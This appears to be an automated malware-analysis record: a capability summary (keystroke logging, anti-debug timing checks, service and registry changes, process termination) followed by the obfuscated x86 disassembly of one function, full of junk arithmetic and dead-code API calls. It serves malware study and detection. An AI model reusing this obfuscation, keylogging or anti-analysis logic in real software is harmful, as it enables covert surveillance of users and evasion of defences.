Function at 0x10037798
Capabilities:
Check for time delay via queryperformancecounter
Check os version
Connect pipe
Create process on windows
Delete file
Delete registry key
Enumerate files on windows
Enumerate gui resources
Get common file path
Get disk size
Get graphical window text
Identify system language via api
Log keystrokes
Modify service
Query environment variable
Resume thread
Start service
Terminate process

Disassembly:
mov eax, 0x1008ff0d
call fcn.1008f898
mov eax, 0x12e4
call fcn.1008bc80
push ebx
xor ebx, ebx
mov byte [ebp - 0x79], dl
mov eax, 0x13dce9d0
mov dword [ebp - 0x68], ecx
inc ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x2f8], eax
push esi
mov dword [ebp - 0x2f4], eax
push edi
mov edi, dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov dword [ebp - 0x2f0], eax
mov dword [ebp - 0x2ec], eax
xor eax, eax
push 5
mov dword [ebp - 0x24], eax
pop esi
jmp 0x10037922
mov dword [ebp - 0x10], 0xfffffff6
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x10], ecx
cmp dword [ebp - 0x10], eax
jl 0x1003790c
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp + eax*4 - 0x2f8]
cmp eax, dword [ebp - 0x10]
jle 0x10037823
mov eax, dword [ebp - 0x10]
cmp dword [ebp + eax*4 - 0x2f8], 0
jne 0x10037823
xor eax, eax
mov esi, eax
jmp 0x10037825
mov esi, ebx
mov eax, dword [ebp - 0x24]
xor eax, eax
cmp dword [ebp - 0x10], eax
jne 0x10037836
mov edx, eax
cmp dword [ebp - 0x24], eax
je 0x10037838
mov edx, ebx
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp + eax*4 - 0x2f8]
lea eax, [edx - 0x37b75a88]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x10]
setle dl
sub edx, dword [ebp + eax*4 - 0x2f8]
xor eax, eax
sub edx, dword [ebp - 0x2f4]
cmp esi, edx
setle al
mov dword [ebp - 0x40], eax
xor eax, eax
mov dword [ebp - 0x40], eax
jmp 0x100378f4
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x10037892
push 8
pop ecx
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x13c], ecx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x1003787e
xor eax, eax
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 0x13
jle 0x100378f1
push 3
pop edx
mov dword [ebp - 0x18], 0xfffffffa
mov dword [ebp - 0x18], eax
jmp 0x100378dd
mov dword [ebp - 0x2c], 0x695cd1d2
mov dword [ebp - 0x2c], edx
cmp dword [ebp - 0x2c], eax
jl 0x100378da
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp + eax*4 - 0x2f8]
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x2f8], ecx
dec dword [ebp - 0x2c]
jns 0x100378bf
xor eax, eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jle 0x100378b0
inc dword [ebp - 0x13c]
cmp dword [ebp - 0x13c], 0x13
jg 0x100378a4
dec dword [ebp - 0x40]
cmp dword [ebp - 0x40], 0xffffffe2
jle 0x10037873
dec dword [ebp - 0x10]
jns 0x10037801
push 5
xor eax, eax
pop esi
mov byte [ebp - 0x19], al
cmp byte [ebp - 0x19], 0
je 0x1003791f
push 0x293
push eax
call edi
xor eax, eax
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0x12
push 3
pop ecx
jge 0x100377eb
mov esi, 0x8905154
or ecx, 0xffffffff
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x18], 0xf94f378
mov dword [ebp - 0x2c], 0xffff
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x48], 0xfffffffb
mov dword [ebp - 0x54], ecx
mov byte [ebp - 0x19], al
cmp byte [ebp - 0x19], 0
je 0x1003796b
push 0x1d73
push eax
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov eax, dword [ebp - 0x18]
imul eax, dword [ebp - 0x2c], 0xfffd
add eax, dword [ebp - 0x2c]
je 0x10037985
xor eax, eax
cmp dword [ebp - 0x2c], eax
je 0x10037987
mov ecx, ebx
jmp 0x10037989
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0x18]
neg ecx
neg ecx
sbb ecx, ecx
neg ecx
sub ecx, eax
inc ecx
cmp dword [ebp - 0x18], ecx
jge 0x1003799f
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x48], ebx
mov eax, dword [ebp - 0x48]
push 0xfffffffffffffff7
pop ecx
cmp ecx, eax
sbb eax, eax
xor edx, edx
neg eax
mov dword [ebp - 0x48], eax
mov ecx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x18]
cmp ecx, eax
setl dl
add edx, dword [ebp - 0x18]
xor eax, eax
mov dword [ebp - 0x54], edx
mov dword [ebp - 0x64], 0xfff9
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x44], 0x2349124c
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x18], 0xb
jmp 0x100379f8
mov dword [ebp - 0x54], 0xba5cd23e
cmp dword [ebp - 0x54], eax
jne 0x100379fe
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x35
jge 0x100379e9
push 3
pop ecx
mov dword [ebp - 0x60], ecx
mov dword [ebp - 0x5c], 0xcf455dbf
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x34], ebx
push 2
mov dword [ebp - 0x18], eax
pop edx
cmp dword [ebp - 0x18], edx
jge 0x10037a34
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x2a4], 0x9b55bb2c
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x10037a1c
xor eax, eax
mov dword [ebp - 0x10], eax
push 7
pop edx
cmp dword [ebp - 0x10], ebx
jg 0x10037ad3
mov dword [ebp - 0x48], ebx
xor ecx, ecx
mov dword [ebp - 0x92c], edx
mov dword [ebp - 0x928], edx
mov dword [ebp - 0x924], edx
mov dword [ebp - 0x920], edx
mov eax, dword [ebp - 0x10]
push 7
mov eax, dword [ebp + eax*4 - 0x2a4]
test eax, eax
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x34]
setne cl
mov dword [ebp - 0x48], ecx
xor edx, edx
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x2a4]
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp + eax*4 - 0x2a4]
mov eax, dword [ebp - 0x34]
cmp ecx, eax
mov eax, dword [ebp - 0x2a0]
setl dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x10]
pop edx
setge bl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x2a4]
cmp ebx, eax
sete cl
xor ebx, ebx
mov dword [ebp - 0x920], ecx
inc ebx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jle 0x10037a43
push 3
xor eax, eax
pop ecx
push 0xfffffffffffffff7
pop edx
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x48], 0xfffffffe
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 4
jge 0x10037b01
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1260], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x10037aec
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x10037b8a
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ecx
jge 0x10037b2e
or edx, 0xffffffff
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xf18], edx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x10037b1a
xor eax, eax
cmp dword [ebp - 0xf10], eax
jne 0x10037b94
mov dword [ebp - 0x40], 0xc
cmp dword [ebp - 0x40], 0xffffffef
jne 0x10037b87
mov dword [ebp - 0x18], 0x328f6c74
mov dword [ebp - 0x18], 0xfffffff4
jmp 0x10037b75
mov byte [ebp - 0x19], al
cmp byte [ebp - 0x19], 0
je 0x10037b6d
push eax
push eax
push 0x1be7
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
xor eax, eax
cmp dword [ebp - 0x54], eax
jne 0x10037b7b
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xffffffe6
jle 0x10037b53
dec dword [ebp - 0x40]
cmp dword [ebp - 0x40], 0xffffffef
je 0x10037b43
push 3
pop ecx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0x1a
jl 0x10037b09
dec dword [ebp - 0x48]
mov dword [ebp - 0x18], 0x70bb
mov dword [ebp - 0x30], 0x8cf5a8
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ecx
jge 0x10037bc1
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x654], ebx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x10037bad
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ecx
jge 0x10037bdd
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xd74], ebx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x10037bc9
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x10037be5
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
xor ecx, ecx
mov eax, dword [ebp - 0x18]
or edx, 0xffffffff
cmp eax, edx
setle cl
xor eax, eax
mov dword [ebp - 0x30], ecx
cmp dword [ebp - 0x30], eax
je 0x10037c25
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x64c]
mov eax, dword [ebp - 0x64c]
mov eax, dword [ebp - 0x64c]
cmp dword [ebp - 0x650], ebx
je 0x10037c23
mov eax, ebx
jmp 0x10037c25
xor eax, eax
mov dword [ebp - 0xd70], eax
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
jge 0x10037c4b
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x56c], edx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x10037c36
xor eax, eax
mov dword [ebp - 0x44], 0xfffffff6
mov byte [ebp - 0x19], al
cmp byte [ebp - 0x19], 0
je 0x10037c66
push eax
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
xor eax, eax
mov byte [ebp - 0x19], al
cmp byte [ebp - 0x19], 0
je 0x10037c7a
push 0xd42
call dword [sym.imp.KERNEL32.dll_ExitThread]
push 2
mov dword [ebp - 0x10], eax
pop ecx
jmp 0x10037c93
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x710], 0xdcb0c7b2
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x10037c82
mov eax, dword [ebp - 0x24]
xor ecx, ecx
test eax, eax
setns cl
xor edx, edx
sub ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
cmp ecx, eax
setne dl
sub edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
mov eax, dword [ebp - 0x564]
setne cl
xor edx, edx
cmp ecx, eax
mov ecx, dword [ebp - 0x24]
setge dl
add ecx, edx
sub ecx, dword [ebp - 0x564]
mov eax, dword [ebp - 0x560]
neg ecx
mov edx, dword [ebp - 0x24]
sbb ecx, ecx
xor ebx, ebx
inc ecx
cmp ecx, eax
sete bl
sub edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setne cl
cmp ecx, ebx
jge 0x10037d07
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x564]
sub eax, 0xee350e2
je 0x10037d17
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x564]
xor ecx, ecx
mov eax, dword [ebp - 0x568]
inc ecx
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x710]
mov dword [ebp - 0x30], ecx
xor eax, eax
cmp dword [ebp - 0x30], eax
je 0x10037d41
mov eax, ecx
mov dword [ebp - 0x710], eax
mov dword [ebp - 0x24], esi
push 3
mov dword [ebp - 0x54], 0xfff9
pop eax
mov dword [ebp - 0x64], eax
push 0xfffffffffffffff7
mov dword [ebp - 0x60], 0xcf455dbf
pop eax
mov dword [ebp - 0x30], eax
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
jge 0x10037d87
or ecx, 0xffffffff
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x5ac], ecx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x10037d72
xor eax, eax
push 2
mov dword [ebp - 0x10], eax
pop ecx
jmp 0x10037da0
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x890], 0xdcb0c7b2
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x10037d8f
mov eax, dword [ebp - 0x24]
xor ecx, ecx
test eax, eax
setns cl
xor edx, edx
sub ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
cmp ecx, eax
setne dl
sub edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
mov eax, dword [ebp - 0x5a4]
setne cl
xor edx, edx
cmp ecx, eax
mov ecx, dword [ebp - 0x24]
setge dl
add ecx, edx
sub ecx, dword [ebp - 0x5a4]
mov eax, dword [ebp - 0x5a0]
neg ecx
mov edx, dword [ebp - 0x24]
sbb ecx, ecx
xor ebx, ebx
inc ecx
cmp ecx, eax
sete bl
sub edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setne cl
cmp ecx, ebx
jge 0x10037e14
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x5a4]
sub eax, 0xee350e2
je 0x10037e24
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x5a4]
xor ecx, ecx
mov eax, dword [ebp - 0x5a8]
inc ecx
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x890]
mov dword [ebp - 0x30], ecx
xor eax, eax
cmp dword [ebp - 0x30], eax
je 0x10037e4e
mov eax, ecx
mov dword [ebp - 0x890], eax
mov dword [ebp - 0x24], esi
push 3
mov dword [ebp - 0x54], 0xfff9
pop eax
mov dword [ebp - 0x64], eax
push 0xfffffffffffffff7
mov dword [ebp - 0x60], 0xcf455dbf
pop eax
mov dword [ebp - 0x30], eax
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
jge 0x10037e94
or ecx, 0xffffffff
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x58c], ecx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x10037e7f
xor eax, eax
push 2
mov dword [ebp - 0x10], eax
pop ecx
jmp 0x10037ead
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x728], 0xdcb0c7b2
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x10037e9c
mov eax, dword [ebp - 0x24]
xor ecx, ecx
test eax, eax
setns cl
xor edx, edx
sub ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
cmp ecx, eax
setne dl
sub edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
mov eax, dword [ebp - 0x584]
setne cl
xor edx, edx
cmp ecx, eax
mov ecx, dword [ebp - 0x24]
setge dl
add ecx, edx
sub ecx, dword [ebp - 0x584]
mov eax, dword [ebp - 0x580]
neg ecx
mov edx, dword [ebp - 0x24]
sbb ecx, ecx
xor ebx, ebx
inc ecx
cmp ecx, eax
sete bl
sub edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setne cl
cmp ecx, ebx
jge 0x10037f21
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x584]
sub eax, 0xee350e2
je 0x10037f31
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x584]
xor ebx, ebx
mov eax, dword [ebp - 0x588]
inc ebx
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x728]
mov dword [ebp - 0x30], ebx
xor eax, eax
cmp dword [ebp - 0x30], eax
je 0x10037f5b
mov eax, ebx
mov dword [ebp - 0x728], eax
mov eax, 0x13dce9d0
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x2d8], eax
mov dword [ebp - 0x2d4], eax
mov dword [ebp - 0x2d0], eax
mov dword [ebp - 0x2cc], eax
xor eax, eax
mov dword [ebp - 0x28], eax
jmp 0x100380c8
push 5
pop ecx
mov dword [ebp - 0x10], 0xfffffff6
mov dword [ebp - 0x40], ecx
push 3
pop ecx
mov dword [ebp - 0x10], ecx
cmp dword [ebp - 0x10], eax
jl 0x100380b2
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp + eax*4 - 0x2d8]
cmp eax, dword [ebp - 0x10]
jle 0x10037fcc
mov eax, dword [ebp - 0x10]
cmp dword [ebp + eax*4 - 0x2d8], 0
jne 0x10037fcc
xor eax, eax
mov esi, eax
jmp 0x10037fce
mov esi, ebx
mov eax, dword [ebp - 0x28]
xor eax, eax
cmp dword [ebp - 0x10], eax
jne 0x10037fdf
mov edx, eax
cmp dword [ebp - 0x28], eax
je 0x10037fe1
mov edx, ebx
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp + eax*4 - 0x2d8]
lea eax, [edx - 0x37b75a88]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x10]
setle dl
sub edx, dword [ebp + eax*4 - 0x2d8]
xor eax, eax
sub edx, dword [ebp - 0x2d4]
cmp esi, edx
setle al
mov dword [ebp - 0x40], eax
xor eax, eax
mov dword [ebp - 0x40], eax
jmp 0x1003809d
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x1003803b
push 8
pop ecx
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x158], ecx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x10038027
xor eax, eax
mov dword [ebp - 0x158], eax
cmp dword [ebp - 0x158], 0x13
jle 0x1003809a
push 3
pop edx
mov dword [ebp - 0x18], 0xfffffffa
mov dword [ebp - 0x18], eax
jmp 0x10038086
mov dword [ebp - 0x2c], 0x695cd1d2
mov dword [ebp - 0x2c], edx
cmp dword [ebp - 0x2c], eax
jl 0x10038083
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp + eax*4 - 0x2d8]
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x2d8], ecx
dec dword [ebp - 0x2c]
jns 0x10038068
xor eax, eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jle 0x10038059
inc dword [ebp - 0x158]
cmp dword [ebp - 0x158], 0x13
jg 0x1003804d
dec dword [ebp - 0x40]
cmp dword [ebp - 0x40], 0xffffffe2
jle 0x1003801c
dec dword [ebp - 0x10]
jns 0x10037faa
xor eax, eax
mov byte [ebp - 0x19], al
cmp byte [ebp - 0x19], 0
je 0x100380c5
push 0x293
push eax
call edi
xor eax, eax
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0x12
jge 0x10037f8e
mov dword [ebp - 0x18], 0xf94f378
mov ecx, 0xffff
mov dword [ebp - 0x2c], ecx
or ecx, 0xffffffff
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x48], 0xfffffffb
mov dword [ebp - 0x54], ecx
mov byte [ebp - 0x19], al
cmp byte [ebp - 0x19], 0
je 0x10038107
push 0x1d73
push eax
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov eax, dword [ebp - 0x18]
imul eax, dword [ebp - 0x2c], 0xfffd
add eax, dword [ebp - 0x2c]
je 0x10038121
xor eax, eax
cmp dword [ebp - 0x2c], eax
je 0x10038123
mov ecx, ebx
jmp 0x10038125
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0x18]
neg ecx
neg ecx
sbb ecx, ecx
neg ecx
sub ecx, eax
inc ecx
cmp dword [ebp - 0x18], ecx
jge 0x1003813b
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x48], ebx
mov eax, dword [ebp - 0x48]
push 0xfffffffffffffff7
pop ecx
cmp ecx, eax
sbb eax, eax
xor edx, edx
neg eax
mov dword [ebp - 0x48], eax
mov ecx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x18]
cmp ecx, eax
setl dl
add edx, dword [ebp - 0x18]
xor eax, eax
mov dword [ebp - 0x54], edx
mov dword [ebp - 0x60], 0xfff9
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x44], 0x2349124c
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x18], 0xb
jmp 0x10038194
mov dword [ebp - 0x54], 0xba5cd23e
cmp dword [ebp - 0x54], eax
jne 0x1003819a
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x35
jge 0x10038185
push 3
pop esi
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x34], ebx
push 2
mov dword [ebp - 0x18], eax
pop edi
cmp dword [ebp - 0x18], edi
jge 0x100381c9
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x29c], 0x9b55bb2c
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x100381b1
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jg 0x10038262
mov dword [ebp - 0x48], ebx
xor ecx, ecx
push 7
pop eax
mov dword [ebp - 0x90c], eax
mov dword [ebp - 0x908], eax
mov dword [ebp - 0x904], eax
mov dword [ebp - 0x900], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp + eax*4 - 0x29c]
test eax, eax
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x34]
setne cl
mov dword [ebp - 0x48], ecx
xor edx, edx
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x29c]
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp + eax*4 - 0x29c]
mov eax, dword [ebp - 0x34]
cmp ecx, eax
mov eax, dword [ebp - 0x298]
setl dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x10]
setge bl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x29c]
cmp ebx, eax
sete cl
xor ebx, ebx
mov dword [ebp - 0x900], ecx
inc ebx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jle 0x100381d5
xor eax, eax
mov dword [ebp - 0x20], 0xcf455dbf
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x48], 0xfffffffe
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 4
jge 0x10038291
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1280], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x1003827c
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x10038310
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jge 0x100382bb
or ecx, 0xffffffff
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xf30], ecx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x100382a7
xor eax, eax
cmp dword [ebp - 0xf28], eax
jne 0x10038316
mov dword [ebp - 0x40], 0xc
jmp 0x10038307
mov dword [ebp - 0x18], 0x328f6c74
mov dword [ebp - 0x18], 0xfffffff4
jmp 0x100382fe
mov byte [ebp - 0x19], al
cmp byte [ebp - 0x19], 0
je 0x100382f6
push eax
push eax
push 0x1be7
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
xor eax, eax
cmp dword [ebp - 0x54], eax
jne 0x10038304
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xffffffe6
jle 0x100382dc
dec dword [ebp - 0x40]
cmp dword [ebp - 0x40], 0xffffffef
je 0x100382cc
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0x1a
jl 0x10038296
dec dword [ebp - 0x48]
mov dword [ebp - 0x18], 0x70bb
mov dword [ebp - 0x30], 0x8cf5a8
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x10038343
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x60c], ebx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1003832f
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x1003835f
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xe28], ebx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1003834b
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x10038367
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
xor ecx, ecx
mov eax, dword [ebp - 0x18]
or edx, 0xffffffff
cmp eax, edx
setle cl
xor eax, eax
mov dword [ebp - 0x30], ecx
cmp dword [ebp - 0x30], eax
je 0x100383a7
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x604]
mov eax, dword [ebp - 0x604]
mov eax, dword [ebp - 0x604]
cmp dword [ebp - 0x608], ebx
je 0x100383a5
mov eax, ebx
jmp 0x100383a7
xor eax, eax
mov dword [ebp - 0xe24], eax
xor eax, eax
push 0xfffffffffffffff7
pop ecx
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
jge 0x100383d3
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x5cc], edx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x100383be
xor eax, eax
mov dword [ebp - 0x44], 0xfffffff6
mov byte [ebp - 0x19], al
cmp byte [ebp - 0x19], 0
je 0x100383f1
push eax
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
push 0xfffffffffffffff7
xor eax, eax
pop ecx
mov byte [ebp - 0x19], al
cmp byte [ebp - 0x19], 0
jne 0x10037c6f
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], edi
jge 0x1003841e
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x7e8], 0xdcb0c7b2
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x10038406
xor eax, eax
mov dword [ebp - 0x10], 0x7f6af112
mov dword [ebp - 0x30], 6
mov dword [ebp - 0x28], 0x12e1dfe0
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x48], 0xb42
mov dword [ebp - 0x54], 0x461302d9
mov dword [ebp - 0x64], 0x312349
mov dword [ebp - 0x50], 0xdfd7f7ff
mov dword [ebp - 0x4c], 0xc0
mov dword [ebp - 0x5c], 0xe5bd571e
mov dword [ebp - 0x34], 0x4d23a2cc
mov dword [ebp - 0x44], 0x1fd40782
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 4
jge 0x10038493
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x4cc], 0
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x1003847a
xor eax, eax
push 9
pop ecx
mov dword [ebp - 0x10], ecx
jmp 0x100384f3
mov dword [ebp - 0x18], 0xf4672159
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], edi
jge 0x100384c2
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1088], 0x75c19c5a
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x100384aa
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x100384db
mov byte [ebp - 0x19], al
cmp byte [ebp - 0x19], 0
je 0x100384d8
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
xor eax, eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jle 0x100384c7
mov dword [ebp - 0x30], 0xb04800fa
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x28], eax
dec dword [ebp - 0x10]
push 0
pop eax
cmp dword [ebp - 0x10], 0xfffffffa
jne 0x1003849b
xor eax, eax
cmp dword [ebp - 0x28], eax
je 0x10038503
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x28]
add eax, dword [ebp - 0x10]
je 0x1003850e
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x5c]
dec dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x4cc]
